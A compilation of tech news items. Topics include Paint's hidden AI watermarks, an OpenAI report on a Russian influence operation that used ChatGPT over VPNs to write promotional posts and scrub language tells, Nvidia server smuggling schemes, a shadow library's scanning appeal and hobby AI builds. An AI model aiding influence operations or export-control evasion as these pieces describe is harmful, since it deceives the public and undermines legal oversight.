Artificial intelligence is indeed a technological marvel, but it also comes with several risks that must be addressed head-on. Bill Gates says that the debate around AI, its use, and its impact on us should be discussed widely among workers, students, community leaders, religious leaders, parents, educators, and more, not just the few who control it.

Developer Xusheng Li has uncovered some previously unknown functionality deep within Microsoft’s Paint and Photos apps. The findings concern GUID watermarks. While these programs clearly add Copilot logo watermarks to images where LLM image generation has played a part in the process, Li also uncovered an invisible watermark and the process behind embedding it. To be clear, both these watermarks are merely to identify/verify imagery where AI has had a role in the creation, so GUID should not be confused with the recent controversies over Microsoft’s GDID traceable device-specific telemetry.

Li says that simple curiosity spurred him to investigate the AI features of the Paint app in Windows 11. The image generation functionality being capable of calling a remote API was expected. However, the dev got more curious when four apparent model files were found in the app path for local processing. Specifically, one of the local files was an ONNX-like model, the other 3 were encrypted ONNX-like files…

With all four files unencrypted and open to probing, investigations led to watermarker.dll being uncovered. Initially, Li thought it was just for visible watermarking tooling, leaving a Copilot logo on the bottom right of the image. It calls the AddPerceptibleWatermark function to do this. However, with curiosity stoked by the DLL file’s larger-than-expected size, the dev decided to ask AI to analyze the file. The AI found there was also a function to embed an invisible watermark.

The invisible watermarking function is called WmkWriteWatermark. Microsoft’s embedding process basically insists on this invisible watermark in its Stable Diffusion image generation output. If WmkWriteWatermark fails for any reason, the generation process will result in an error.

Coalition for Content Provenance and Authenticity (C2PA) credentials

Li provides some further technical insight into the hidden watermark. Most strikingly, he asserts that the watermarking information mixes a server-issued GUID into the pixels. That isn’t the end of the identifying data bundling. “Paint does more than alter the pixels,” notes the dev. “It also attaches C2PA Content Credentials to the saved file. The code responsible for this lives in ProvenanceHelper.dll, backed by provenancesdk.dll.”

In conclusion, even on devices where local image generation occurs, the prompt is still sent to Microsoft servers for moderation, says Li. Moreover, the dev indicates this watermarking is mandatory, and if the process fails, Paint will abort the entire image generation process. In Photos, there is the same GUID mechanism in place when AI is used, but it will still return the image and just log an error if the watermarking process has issues.

It is thought that all this hidden processing “might be related to Article 50 of the EU AI Act, whose transparency rules took effect on August 2, 2026, and require AI-generated content to carry a detectable, machine-readable mark—but not a prompt-specific GUID.”

A fake Israeli think tank credited migration-policy research to an Australian professor of food science, ran a "sovereignty index" that scored Russia above the countries criticizing its war, and filled its site with academic papers lifted from their real authors. OpenAI banned the cluster of ChatGPT accounts behind it on August 25, tracing the operation back to Russia, where operators used VPNs to reach models blocked in the country and drafted mostly English-language posts promoting the outlet across Substack, Telegram, X, Facebook, and LinkedIn. Of 36 articles OpenAI sampled from the International Burke Institute, as the outlet called itself, 34 were copied from real academics, some misattributed to figures including Francis Fukuyama and Noam Chomsky.

OpenAI says that the operators used ChatGPT to write the posts and replies that directed audiences towards the IBI website, which was registered in February last year, while the articles, the country reports, and the index itself weren't produced with OpenAI's models.

Instead of using ChatGPT to write the articles, the operators used the chatbot to strip any wording that might mark them as Russian speakers, yet the non-AI material carried obvious tells. One IBI article referred to Germany's traffic-light coalition as "the Svetofor coalition," a literal rendering of the Russian word for traffic light that no English or German writer would use. A profile that OpenAI tied to the operation described a U.S.-focused Telegram channel as offering "a totally unhackneyed perspective."

This is OpenAI's sixth public threat report since it began making disclosures in early 2024. Since then, its Intelligence & Investigations team says it has disrupted more than 40 malicious networks. Similar findings recur across all of them, with operators bolting AI onto existing workflows for efficiency and distribution, not content generation.

OpenAI placed this campaign at the lower end of Category Three on the Brookings Breakout Scale — a six-category model that measures the real-time impact and spread of disinformation campaigns — with individual posts drawing low view counts and the operation's Telegram channels running between 10,000 and 20,000 followers each.

OpenAI ran the same enforcement against China-linked clusters in June, when it banned accounts behind the "Data Center Bandwagon" campaign that amplified U.S. data center electricity backlash. The ban lands on operators who were already reaching OpenAI's models via VPN, since Russia is blocked from its services, for a campaign that barely reached anyone.

"The significance of the operation lies less in the audience it reached, however, than in the infrastructure it had built," said OpenAI. Anthropic's own AI-capability disclosures drew scrutiny in April, when its claim that Claude Mythos found thousands of severe zero-days proved to rest on 198 manual reviews.

About a month ago, techie Redditor Alternative-Panic69 (Panic) had the idea of acquiring a Radeon 7900 XT with 20 GB of VRAM for LLM use, a significant undertaking in their home country of India. They found one for $550, an excellent deal even by Western standards, and they were off to the races with Qwen and GLM in tow. Panic intended to use this card in a Lenovo M910Q desktop, but the machine wouldn't cooperate, so recently they turned to the next logical thing: a Lenovo Yoga laptop.

As Panic themselves put it, they took the "completely sane decision to perform surgery on [their] laptop." Armed with an ADT-Link PCIe external cable connector wired to the laptop's M.2 slot, a DeepCool PL750D power supply, and some quick bottom-panel removal, they managed to wire everything together in a manner that mostly worked.

With the M.2 slot now unavailable, the first challenge was having somewhere to boot from, a task accomplished by a USB SSD. Getting a picture with the main display hooked into the 7900 XT "worked beautifully", with Furmark doing 500 FPS at 1080p. This arrangement had to go, though, as the display framebuffer(s) were eating into precious VRAM necessary for the models, so the integrated graphics silicon was back to its original assignment.

Panic mused at how "[their] laptop was sitting there looking like it had been converted into a PCIe development board," but ended up having some harsh realizations about trying to wrangle fairly large LLMs (Qwen 35B A3B, GLM-4.7 Flash) exclusively on the GPU, all with a 128K-token context window.

Another Redditor pointed out that was a classical "pick two out of three" situation, and indeed that was the case, as Panic found that ultimately his laptop's memory (or lack thereof) proved to be a serious bottleneck. The large context window needed lots of associated data in RAM, and eventually the available DRAM was exhausted, and the laptop began using swap space, grinding performance to a halt, to the point where the GPU was "being idle, occasionally in bursts."

The story ends in somewhat predictable fashion: as interesting and visually striking this project was, they needed their laptop as an actual mobile device again, so they elected to buy the cheapest AM4 machine they could find to fit the Radeon 7900 XT and the power supply in. As Panic themselves said, "buying an old office tower would have been the sensible solution. I wasn't here to be sensible."

An AI computing enthusiast has demonstrated Doom running on a custom CPU designed by GPT-5.6 Sol. Angel (@Angaisb_) shared a technical and visual feast with a video of classic Doom running within a pulsing schematic of the CPU, in the sandbox provided by the Turing Complete game environment. Clearly, this shows that GPT-5.6 Sol is capable of constructing a virtual computer system from the basics, and one that is accurate enough to boot and play a port of the original Doom. The model dubbed its CPU design ‘Codex-R32.’

Angel knows Doom is a hugely popular demo to show computing capabilities, despite it being quite a vintage nowadays (1993). So they must have thought it a good idea to show how far agentic coding has come with this tried and trusted ‘people asked for Doom’ metric. They were impressed by the results, concluding that it is “truly insane that we can do stuff like this.”

Despite the accomplishment, another rule of the internet is that there’s always someone who thinks you haven’t pushed far enough. So there were the inevitable remarks about having a shot at Crysis next. Likely grasping for a witty comeback, Angel asked their AI to whip up a response to the unsolicited stretch goal. It didn’t disappoint, suggesting they answer “Absolutely – I just need to build a GPU, add a few gigabytes of RAM, and make a schematic visible from orbit first.”

Indeed, Doom is a relative minnow compared to Crysis, though it still stretches the model and its performance in the sandbox is not what anyone would call playable. “The CPU is built from primitive logic components inside Turing Complete,” the Codex told Angel. “Doom uses the C-based PureDOOM port, compiled into native RV32IM machine code that runs directly on the custom Codex‑R32 CPU.”

Watching the video, you can see the live schematic of the custom CPU with a pulsing visualization of processor gates, registers, memory, ALUs, and other blocks within the Turing Complete computer-science education and puzzle game’s anything-goes sandbox mode. Live stats show the cycle counter, sim speed, memory/register values, and more.

Overall, with this demo, we have a neat visual demo of LLMs not just creating software, but also reinventing hardware at a capable enough level to pass the 'can it run Doom' test.

Legendary Windows developer Dave W. Plummer has been busy finessing his revamped Task Manager. His latest release, dubbed TMOG (Task Manager OG), was vibe coded by feeding Claude “a 107-page spec,” says the mind behind the original 80KB Task Manager, which debuted publicly in Windows NT 4.0 (1996). TMOG doesn’t just work natively on modern Windows 11 systems though; it struts its neon stuff on macOS and Linux, too.

Above you can read Plummer give some background regarding the latest TMOG release, interspersed with details about his son’s emergency appendectomy. Cutting a long story short, Plummer found he had lots of spare time waiting around the hospital and thought he'd put it to good use by doing some coding.

With a new MacBook Air M5 under his arm, Plummer decided not to follow his original plan of vibe coding a new version of Microsoft Word, sticking to a project he knows intimately – Task Manager. After constructing “a 107-page spec” and feeding it to Claude Code, he got a rough app working by the time his son left the hospital, having completed the first procedure. A spell of internal bleeding meant readmission and more portable M5 dev time for Dave.

The result of all this extra hospital waiting room time is that Plummer had abundant TMOG tinker time. For example, TMOG can “animate everything at 60 Hz, instead of once a second.” Moreover, there are oodles of visual customization options, plus some interesting retro-flavored presets.

The first versions of TMOG were generated on the portable M5 in about four and a half hours. They worked the first time, asserts the veteran dev, and then work on fine-tuning started from there. Reading through the social media interactions following the new TMOG announcement, it looks like there are still a few vibe-coding flaws to paper over, and Plummer seems busy responding to many individual comments. There are also plenty of positive messages about the responsiveness and capabilities of the TMOG beta versions available.

At the time of writing, the latest version of TMOG beta available is version 0.1.1 on all supported platforms.

Just days after Supermicro revealed it had terminated several employees following an internal investigation into U.S. smuggling, nine people have been indicted by Taiwan's Keelung District Prosecutors' Office in the ongoing investigation into the illegal smuggling of Nvidia B300 GPUs to China. According to a new report from Digitimes, details of the indictment reveal an intricate five-step scheme designed to subvert various export restrictions.

According to the report, the indictment sets out how "a compliance regime designed to track every unit was defeated from the inside," thanks to a scheme setup to run through five different points in the supply chain.

Per the report, Supermicro's Taiwan subsidiary only sells its B300 systems to whitelisted buyers, who must sign an end-user agreement promising they won't re-export or sell the GPUs to sanctioned parties, such as customers in China. Order enough servers — eight units or more — and an on-site inspection led by representatives from both companies is triggered.

To that end, Taiwanese server trading firm Flying Tiger Tech reportedly obtained whitelist status and then placed a 130-unit order, declaring that it was the end user for the servers, which would be installed in Taiwan. That order was placed on behalf of Flying Tiger by a listed Supermicro distributor, Albatron Technology. Per the report, this "kept Supermicro from ever examining where Flying Tiger's money came from," because Albatron is listed on the Taiwan stock exchange and is a listed Supermicro distributor, presumably not raising too many flags.

The report says that, in order to pass the inspection, Flying Tiger leased colocation space from Chief Telecom, another TPEx-listed firm, but presented a quotation instead of an actual lease. Inspectors of the site in September 2025 reportedly found the site operational, but crucially incapable of running the 130 B300 servers the firm had asked for. Despite not having the racks, power, or bandwidth for that kind of hardware, no one spoke up.

The report then turns to a group it dubs "The insiders," likely the nefarious parties working inside the various points of the supply chain to help push through the transaction. One such individual listed is a sales manager at Nvidia Taiwan who "pushed the quota through," emailing headquarters to state the inspection was complete. A senior sales manager at Supermicro's Taiwan subsidiary had reportedly coached Flying Tiger through the review process, possibly revealing how its Chief Telecom lease passed muster on inspection. A second Supermicro manager reportedly caught wind of where the servers were really ending up, but was cut in on the commissions rather than speaking up.

All of this meant that Supermicro ultimately approved the sale of the 130 B300 units in three tranches of 2, 64, and 64. Of the first 74 units, sixteen were sent directly to China in January 2026. A further fifty were sent to Indonesia and then transshipped to China. Eight reportedly went to a Japanese entity controlled by the defendants, before going to Hong Kong and then China. This set of shipments was said to be worth $21.21 million in profit.

The scheme was given up shortly after 56 units were declared to Japan and flagged by customers, who demanded a "strategic high-tech commodities export permit." The defendants in the case filed for one, including fake mockups of Supermicro's website created by splicing together real parts of the site. Once word of the scheme came to light, the servers were not allowed to leave the country.

According to prosecutors, investigations have also uncovered a second scheme cooked up by the GM of Albatron, a manager from Supermicro, and the head of a small electronics firm, which billed Albatron $39 million Taiwanese dollars for installation work that was never carried out, splitting the money with the other perps. The head of the latter firm reportedly turned himself in, confessing alongside Albatron's GM and naming other participants in the scheme in exchange for leniency. Despite this, they reportedly still face up to five years on counts of export and six years for looting.

As per above, Supermicro has announced the findings of its own investigation in a US smuggling scheme, claiming that senior management had no knowledge of the matter and no evidence that controlled products were sold to banned entities.

As the report notes, this latest Taiwan sales channel was uncovered by Taiwanese prosecutors, rather than Supermicro's audit.

Nvidia has told some of its largest customers that the prices of servers containing its AI chips will rise by more than 15% in many cases, Bloomberg reported on Saturday. The increases will take effect on Grace Blackwell and Vera Rubin systems shipping early next year, according to people familiar with the matter, who commented on communications that have not yet been made public. The size of each increase will depend on the chip generation and the memory configuration involved. Companies that build servers under contract for large data center operators, including Microsoft, Google, and Oracle, have recently notified their customers of the forthcoming increases, the people told Bloomberg.

This is another example of the so-called "RAMageddon" that's gripping the DRAM market, with contract prices having risen at record rates this year. Analysts projected that conventional DRAM contract prices would climb 58% to 63% quarter-over-quarter in Q2 2026, following a Q1 surge of 90% to 95%, as suppliers reallocated capacity toward HBM and server products. SK hynix said in October last year that it had already sold out its entire 2026 memory production capacity, and Samsung and SK hynix raised 2026 HBM3E supply prices by close to 20% before the year began.

AI systems carry enormous memory loadouts, with Nvidia's Rubin GPU shipping with up to 288GB of HBM4 per package, and the NVL72 rack-scale system combines 72 of those GPUs, putting more than 20TB of HBM in a single rack before accounting for the LPDDR attached to its Vera CPUs. With HBM production consuming roughly four times the wafer area of equivalent conventional DRAM, memory has become one of the largest line items in an AI server's bill of materials, and it's continuing to rise at a stratospheric pace.

Ironically, the supply crunch that's now inflating Nvidia's systems is the same one its demand helped to create. The three major memory makers spent this and last year shifting advanced nodes and new capacity toward HBM and high-capacity server DRAM, starving commodity markets in the process. Consumer DDR5 pricing has more than doubled since late 2025 as a result, with a mainstream 32GB DDR5-6000 kit selling for around $392 in August against $110 to $140 a year earlier, according to our RAM price tracker.

Nvidia has already passed rising costs through to consumers, raising prices on GeForce graphics cards earlier this month. The Bloomberg report indicates the same unrelenting pressure has now reached the top of the Nvidia stack, where hyperscalers as well as PC builders will be absorbing the increase. A 15% rise on rack-scale systems that sell for several million dollars each adds hundreds of thousands of dollars per rack across deployments that run to thousands of racks.

Nvidia runs a gross margin of roughly 75% non-GAAP, among the highest in the semiconductor industry, and the reported hikes indicate the company intends to pass memory cost inflation on to customers rather than absorb it, which it can more than afford to do. Meanwhile, supply of its accelerators from TSMC still can't meet demand, which limits buyers' immediate leverage.

Whether the increases push hyperscalers further toward AMD's accelerators or their own custom silicon will depend on how quickly those alternatives can absorb displaced demand, and all of them draw HBM from the same three constrained suppliers.

Florida's lawsuit against OpenAI and Sam Altman has now been sitting before U.S. District Judge Aileen Cannon in Fort Pierce for seven weeks without a ruling on whether it belongs there. The state filed its 83-page, ten-count complaint in Highlands County circuit court on June 1, pleading only Florida law, naming Altman personally, and demanding a jury. OpenAI removed the case to federal court on July 2, arguing that one count built on the federal Children's Online Privacy Protection Act pulls the whole action into federal jurisdiction. Amongst other things, the state is seeking a court ruling finding that ChatGPT is a public nuisance.

Florida moved to remand on July 10, calling the removal "preposterous," and briefing closed July 31. In a similar matter, New Mexico kept its own state-law case against Meta out of federal court and this month won a $567 million public-nuisance abatement order on top of a $375 million jury penalty.

Count IV alleges OpenAI violates the Florida Deceptive and Unfair Trade Practices Act by collecting data from under-13s without the parental notice and consent the FTC's COPPA rule requires. Paragraph 30 of the complaint expressly disclaims any federal cause of action. Meanwhile, OpenAI's opposition to remand argues the count arises under federal law anyway, that applying COPPA to "artificial intelligence research services is a novel question of federal law," and that 15 U.S.C. §6504 makes federal court the exclusive forum for state attorneys general enforcing COPPA.

OpenAI's brief cites three cases in which states sued platforms under state law, defendants removed, and federal judges sent them back: New Mexico v. Meta, California v. TikTok, and New Jersey v. Discord. OpenAI cites them only to show the judges declined to award fees because removal wasn't "objectively unreasonable." Florida's remand motion asks for fees regardless, arguing OpenAI removed for one reason: "delay."

The complaint's remaining counts cover negligence, gross negligence, strict liability for design defect and failure to warn, fraudulent misrepresentation, and public nuisance. It alleges ChatGPT's memory feature was on by default, the free tier has no age gate, the September 2025 parental controls require a voluntary account link, and GPT-4o's safety evaluation was compressed to one week to beat a Google launch.

The State seeks a permanent injunction on under-13 data collection and a finding that distributing ChatGPT in Florida is a public nuisance, demanding civil penalties of up to $10,000 per willful violation, which is double New Mexico's $5,000 cap. New Mexico's jury found 75,000 violations.

A footnote in every federal filing states that Altman "is not making a general appearance" and reserves a personal-jurisdiction defense. That defense sets up a motion to dismiss the CEO individually, no matter which court hears the case. Much of the record that Florida's case relies on is against Altman, including Greg Brockman's diary and Tasha McCauley's testimony about a "toxic culture of lying," which came out at the Musk v. Altman trial in May. A coalition of 42 state attorneys general subpoenaed OpenAI in June; none has filed a complaint yet.

Members of the world's largest 'truly open library in human history' have issued a worldwide call to volunteers, begging them to scan and upload books online to prevent AI companies from obtaining and destroying huge quantities of books. The Anna's Archive appeal follows multiple reports that large AI companies are buying up books to train AI models, often resulting in the destruction of the works.

According to the blog post, the problems started when Anthropic was hit with a $1.5 billion penalty as it settled a copyright infringement lawsuit from 2024. This settlement is the largest amount ever in a copyright case, with the AI tech firm paying $200 per title based on its collection of 7 million pirated books stored in a central library. However, that same ruling affirmed that the use of existing works to train AI models is fair use. This opened the floodgates for AI firms, which started buying up books online to scan and destroy them.

Independent bookstores all across Europe are seeing a trend like this, where they receive random, relatively large orders that are shipped to local addresses. While orders like these still come through in the digital age, especially from institutional buyers looking to fill out new libraries, they say that most “legitimate” orders often come with coordination and negotiation, not just a straight purchase order. Aside from that, the suspicious orders also include books that no one would buy today, like “Pass Your Driving Test, 2018 Edition” and “The Eddie Hobbs Guide to your SSIA.” An investigation revealed that some of the books are sent to an Amazon processing facility, where workers cut off their spines and feed them into industrial scanning machines.

Unfortunately, this method of scanning destroys the books, meaning the printed record is erased in favor of a digital one. There are non-destructive methods of scanning these materials, like using a V-shaped scanner that follows the natural curve of the book binding, but it’s likely that this method is slower and more expensive compared to just stripping out the spine and feeding it into an automatic scanning machine. The blog also says that destroying the original material means that competitors could not use these very same books to train their AI models, giving the original buyer an advantage, especially if the book that is destroyed is a rare one with no other copies in the world, and that it also avoids legal risks.

Using these books, especially those published before 2022, which are said to be “untouched by machines,” comes with legal and ethical issues, but the bigger concern of many is that the destruction of this material could lead to a monopoly of knowledge. If the original copy no longer exists, the knowledge stored in it would only be available to the AI company that scanned it, and anyone else who wants to gain access to it would have to pay for the privilege unless the company shares the original for free (although this would come with its own legal issues). Aside from that, it would probably only be available in processed form if access is limited through the AI model, as most LLMs will not produce it verbatim for fear of copyright restrictions, which is why the author said, “Knowledge is permanently monopolized on private servers.”

This fear has led to the callout for volunteers to scan books and upload them to Anna’s Archive. “If every person scans a book, and there are 10 million volunteers worldwide, we can obtain 10 million pieces of invaluable wealth,” the blog post said. It also added that uploaders of small scans are often recognized and awarded lifetime membership to the shadow library. Those who want to conduct large-scale scans and upload many titles can reach out to the archive for support, as the archive says that it “can help pay for the scanning fees and other rewards.”

“This is a race against time,” the author said in the Anna's Archive blog post. “Our ideal is to scan and upload all the world’s publications before publishers completely block knowledge, and before AI companies scan and destroy all the world’s books and papers.”

Five months after the arrest of Supermicro co-founder Yih-Shyan “Wally” Liaw and two other co-conspirators for the alleged smuggling of Nvidia hardware into China, the company announced that it has completed its independent investigation and released its findings to the public, resulting in the termination of several employees. Supermicro said that the investigation, which was handled by an external law firm and conducted by an “independent forensic accounting consultant,” finds that neither the company nor its current senior executives were part of the alleged AI chip smuggling. It also said that it’s adopting all the recommendations to enhance its export compliance programs, although it did not directly admit that it was lacking in that department.

“The investigation team reviewed the customer transactions that were the subject of the federal indictment, as well as transactions with a selection of other customers who bought restricted products, and did not find any evidence that any current member of senior management had knowledge of the alleged diversion scheme or of any actual diversion of restricted products by the Company,” Supermicro said in the statement. It also added, “The Company’s compliance personnel have acted in good faith, with the support of management, to mitigate the risk of the Company’s products subject to export controls being diverted to restricted parties or locations.”

This odyssey began in March when the U.S. charged Liaw alongside Supermicro sales manager Ruei-Tsang “Steven” Chang and third-party broker Ting-Wei “Willy” Sun with conspiracy to unlawfully divert cutting-edge U.S. artificial intelligence technology to China. The accused aren’t operating a small-time smuggling operation, either — reports estimate that the three have smuggled hardware worth $2.5 billion since 2024. That massive amount has got shareholders worried that a huge chunk of the company’s sales come from illicit sales, resulting in some investors suing the company for securities fraud. Because of this, the company’s independent advisors also looked into this issue and said that it “did not find any evidence that the Company’s previously issued financial statements could not be relied upon based on the potential diversion of restricted products.”

Even though the third-party investigation exonerated Supermicro’s senior executives, it also resulted in the termination of several employees. The affected people were from the sales, technical support, and business development departments, although they were fired for breaking the company’s policies and code of conduct — the company said these moves were made "in connection with the investigation." Notably, none of the personnel were from its compliance department, and it’s also unclear how many people were dismissed.

Supermicro also said that it’s enhancing its export compliance program, which Nvidia CEO Jensen Huang said it must fix. Even though the company was never accused of wrongdoing and wasn’t part of the defendants in the case against the alleged smugglers, the fact that some of its employees were able to run a massive diversion scheme right within the organization raises major questions about the effectiveness of its compliance department. It said that it has already made changes that were recommended by its General Counsel and Chief Compliance Officer even before the third-party investigation concluded, and that its independent directors “will oversee implementation of the remaining recommendations.”

The high demand for AI chips in China has meant the smuggling operations are quite lucrative, even as the U.S. is tightening its grip on export controls and Chinese authorities are commanding that its tech companies prioritize locally made Chinese chips instead of American AI GPUs. Nevertheless, the race to build ever more powerful AI models means that there is such a massive demand for the most advanced AI GPUs from Nvidia that some people are looking for ways to circumvent these bans and make “easy” money.

An AI-themed bar in Beijing's Zhongguancun tech hub hands out free, unlimited DeepSeek tokens with its drinks, running inference locally on two Nvidia DGX Spark mini-PCs kept on display. The AGI Bar, opened last year on Haidian district's Inno Way startup street by Song De, an independent AI developer in his thirties who runs it in his spare time, sells a signature 9.9 yuan ($1.50) glass of foam, also named AGI, and lets anyone on the WiFi code use its house AI agent at no charge. Song has told Reuters the bar is "completely losing money," with roughly 10 times more drinks given away than sold.

The venue sits a short walk from Tsinghua and Peking universities and the Beijing offices of DeepSeek and Microsoft, has hosted parties for Chinese AI labs including Z.ai, and keeps the gong Z.ai struck for its January Hong Kong listing outside the front door. Its registered Chinese name translates to "knowledge distillation," a pun that works equally well for liquor and LLMs.

According to the report, much of the bar's operations have been automated, with AI agents taking care of inventory, reservations, and memberships. The owner is set to introduce humanoid robots later this year.

Each Spark pairs a 20-core Arm CPU with a Blackwell GPU on Nvidia's GB10 and carries 128GB of unified LPDDR5X, enough, per Nvidia, for models up to 200 billion parameters at FP4. Linking two units over their ConnectX-7 NICs pools 256GB. DeepSeek's V3 and R1 weigh in at 671 billion parameters, and V4 runs to 1.6 trillion, so whatever flows over the bar's WiFi is a distilled or aggressively quantized cut of the model rather than the real thing. The showpiece hardware isn't cheap either: after Nvidia raised the Founders Edition price 18% to $4,699 in response to memory shortages, a matched pair costs about $9,400 before a single free token is poured.

DeepSeek suspended its second fundraising round in late July, days after remarks attributed to founder Liang Wenfeng went viral on Chinese social media. The round had targeted a pre-money valuation of roughly 480 billion yuan, or about $71 billion.

Reports citing Chinese outlet Yicai say the leaked meeting minutes had Liang discussing DeepSeek's continued reliance on Nvidia chips and estimating that China trails leading U.S. labs by 12 to 18 months on around one-twentieth of their compute; Bloomberg, which originally covered the leaked transcript, said it hasn't verified its authenticity.

Those admissions reflect badly on Beijing's push to wean its AI sector off American silicon, an effort that last year saw DeepSeek reportedly urged to train R2 on Huawei's Ascend hardware before repeated failures sent training back to Nvidia GPUs. Two American Blackwell boxes displayed as a Beijing bar's main attraction make for a slightly off-message shrine.

A developer has revealed that they used Claude Code to create a macOS laser printer driver for the HP Laser 1008a, a machine designed for Windows users. Kuberwastaken (AKA Kuber) says that “HP never shipped a working macOS driver for these,” but the Claude Code-assisted driver package now works so well they can “print from Apple Silicon macOS like a normal printer. CMD-P from any app. No terminal, no per-job scripts.”

Kuber provides some background to the driver development on the above-linked GitHub page. The HP family of printers, which includes the Laser 1008a, were just rebadged versions of Samsung’s SPL3 lasers, they say. This is fine for Windows users, but they don’t talk to computers via more widely compatible standards such as PostScript or PCL. Nor do they work with open source SPL/QPDL drivers, or Apple AirPrint.

So, how was this driver wrangling achieved, other than handing the job off to an AI coding agent? Kuber notes that the hp-laser-1008a-macos project leverages HP's own rastertospl. This is also used by the HP Unified Linux Driver, which works with this ‘Windows printer.’ Thus the new macOS driver works by inserting this codec inside a tiny Linux container, which delivers the result over USB.

Setting up this driver is a simple one-shot, one-time process - as it should be but might not have been expected. Kuber explains that a user needs only to make sure that Homebrew (Apple's package manager), is already installed on their system. Many may already have this installed, and if so, can just open up Terminal and paste in:
git clone https://github.com/Kuberwastaken/hp-laser-1008a-macos.git && cd hp-laser-1008a-macos && ./install.sh “That is it. It will ask for your Mac password once, set everything up, and your printer will appear as "HP Laser 1008a". Print to it from any app with Cmd-P,” boasts Kuber.

If you are a macOS user and get access to or are offered a cheap HP Laser 1008a, there’s now no need to turn your nose up at this SPL3 laser. Models including the HP Laser 1003/1006/1008 are all good with this driver, it is claimed. However, there are a few things to be aware of. Kuber notes that hp-laser-1008a-macos can be a bit slow from idle to first print, that Colima must be running, and some may have to update their USB product ID if the driver complains of “printer not found” on your model.

As per the intro, Kuber has shared this slickly working macOS printer driver on GitHub, so other developers don’t have to replicate this work.

Anyone who's played Minecraft for a while is familiar with community creations like in-game graphing calculators, QR code generators, and Tetris games built using command blocks, mods, and far too much free time. Building AI tools is a logical next step, and several complicated projects have arisen in that vein using redstone. Reddit user Objz, however, implemented an LLM using only 445,782 command blocks and no mods, plugins, or datapacks. By its creator's description, the project was "a headache."

Objz's LLM isn't actually that large. It only has a 64-dimensional embedding space, a 256-neuron hidden layer, and a tiny vocabulary of 2,048 words, and was trained on 11,118 DailyDialog conversations. Users can talk to it using the game's "/dialog" functionality, and the output stream comes back one word at a time, as with typical chatbots.

Even with that training, however, the author notes that this LLM is only conversational and isn't particularly clever, as it cannot do math and has no broad knowledge.

Even still, the work on display is quite impressive. 445,000 command blocks sounds like a lot until you realize that this kind of data and computational structure would require literally millions of cubes were it not optimized. Indeed, the original version, even with the aforementioned capabilities, rang in at nearly 2 million blocks. LLM weights are normally represented with floating-point values, which would be prohibitively complicated to implement, so Objz opted to use only ternary values for the weights: -1, 0, and +1.

Minecraft's "scoreboard" command supports multiplication and division, but it's integer-based, and using it would require integer-float conversion, thus adding extra operations. The initial quantization to -1/0/+1 kills two zombies with one stone, skipping commands and shrinking the dataset. The equivalent of each multiply-accumulate operation, then, averages 0.67 commands thanks to all the null values.

Objz notes that they didn't just round off the values from a normal model after the fact to achieve this ternary representation. The creator quantized them from the get-go for the forward pass through the model during training and used a straight-through estimator during backpropagation to update the underlying floating-point weights. That step helped lower the perplexity rate (roughly, how likely a model is to produce a nonsensical word in a response sequence) from 48.7 to 38.8 after some additional optimizations.

Given Minecraft's limits on how many commands it can execute at once, the LLM is split into smaller groups, and even then, it takes about 1.8 seconds to generate each word in a response on a 35-tick-per-second server. The author remarks that making this LLM bigger and smarter would be a computationally costly affair, as even a 135-million-parameter LLM built using this architecture would be a whopping 200x larger than this project. But it's a clever example of how constraints spur creativity.